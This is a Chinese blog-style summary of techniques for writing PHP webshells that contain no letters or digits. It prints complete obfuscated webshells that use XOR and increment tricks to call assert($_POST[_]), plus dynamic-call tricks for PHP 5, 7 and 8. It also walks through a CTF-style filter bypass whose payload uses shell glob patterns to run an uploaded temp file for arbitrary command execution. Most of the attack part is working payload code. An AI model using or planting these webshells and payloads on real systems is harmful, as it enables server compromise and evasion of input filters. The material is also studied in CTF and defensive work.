前言
这是P神的文章 一些不包含数字和字母的webshell | 离别歌 (leavesongs.com) 和 无字母数字webshell之提高篇 | 离别歌 (leavesongs.com) 的读后总结
正文
思路
思路就用异或等位运算来讲“不含数字字母的乱码”转化为我们想要的函数名字符串(eval,assert等),可以看这篇文章来了解如何转换: 无字符数字字符串绕过
接着利用PHP动态函数的特性来运行我们刚刚构造的函数名字符串。
动态函数的payload构造模板:$_='%01' ^ '`'; $_();
这便是动态函数的执行方法
在PHP7中允许 ($a)();
的方法执行动态函数,第一个括号中可以是任意PHP表达式,例子: (~%8F%97%8F%96%91%99%90)(); //phpinfo()
构建不含数字和字母的webshell有三种常见方法
方法一(异或运算)
这种方法就是用异或运算来构造我们想要的字符串
示例webshell:
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
方法二 (取反运算)
和方法一一样,只是换成了取反运算
方法三 (自增)
php官网这样解释字符变量运算的
也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
那么,如何拿到一个值为字符串'a'的变量呢?
巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。
在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为
Array
:再取这个字符串的第一个字母,就可以获得'A'了。
利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是
ASSERT($_POST[_])
,无需获取小写a):
示例webshell
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
进阶
如果过滤了"$"符号该怎么办,我们构造的payload都是根据php的变量构建的,所以如果过滤了"$"符号,我们就需要另找出路
分三个PHP版本
PHP8
这是一个新的补充,在 PHP8 中不在允许 eval 传入的字符串省略引号,传入eva的字符串必须要是完完全全正确可执行的才行
在 PHP7 中,eval("echo abc;");
而在 PHP8 中,eval("echo abc;");
不在被允许,需要改为 eval("echo 'abc';");
才可执行
可以利用上面说到的
在PHP8中同样允许
($a)();
的方法执行动态函数,第一个括号中可以是任意PHP表达式,但要注意在PHP8中不再允许~%8F%97%8F%96%91%99%90
,需要加上引号才行~"%8F%97%8F%96%91%99%90"
,例子:(~"%8F%97%8F%96%91%99%90")(); //phpinfo()
PHP7
可以利用上面说到的
在PHP7中允许
($a)();
的方法执行动态函数,第一个括号中可以是任意PHP表达式,例子:(~%8F%97%8F%96%91%99%90)(); //phpinfo()
PHP5
因为php5不能用上面php7的方法,所以会复杂很多
补充如下的php和shell的特殊指令用法
- php调用系统shell的最简单的方法
<?=`whoami`;?>
- shell下可以利用
.
来执行任意脚本(仅能在bash中使用,zsh和sh无法使用,但一般也用不到),使用的方法大概是这样. filename
,而且还不需要被执行文件拥有可执行权限 - Linux文件名支持用glob通配符代替(
*
?
) - glob支持利用
[0-9]
来表示一个范围
解释:
.
或者叫做period,它的作用和source一样,就是用当前的shell执行一个文件中的命令,并且不需要被执行文件有可执行权限*
可以代替0个及以上任意字符?
可以代表1个任意字符
下面看看P神在解决这道题的过程
代码如下
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
用
. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是
/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。第二个难题接踵而至,执行
. /tmp/phpXXXXXX
,也是有字母的。此时就可以用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符那么,
/tmp/phpXXXXXX
就可以表示为/*/?????????
或/???/?????????
。但我们尝试执行
. /???/?????????
,却得到如下错误:这是因为,能够匹配上
/???/?????????
这个通配符的文件有很多,我们可以列出来:可见,我们要执行的
/tmp/phpcjggLC
排在倒数第二位。然而,在执行第一个匹配上的文件(即/bin/run-parts
)的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。经过阅读Linux文档后,发现其中,glob支持用
[^x]
的方法来构造“这个位置不是字符x”。那么,我们用这个姿势干掉/bin/run-parts
:排除了第4个字符是
-
的文件,同样我们可以排除包含.
的文件:现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。
就跟正则表达式类似,glob支持利用
[0-9]
来表示一个范围。我们再来看看之前列出可能干扰我们的文件:
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于
@
与[
之间:那么,我们可以利用
[@-[]
来表示大写字母:显然这一招是管用的。
构造POC,执行任意命令
当然,php生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
最后,我传入的code为
?><?=`. /???/????????[@-[]`;?>
,发送数据包如下:成功执行任意命令。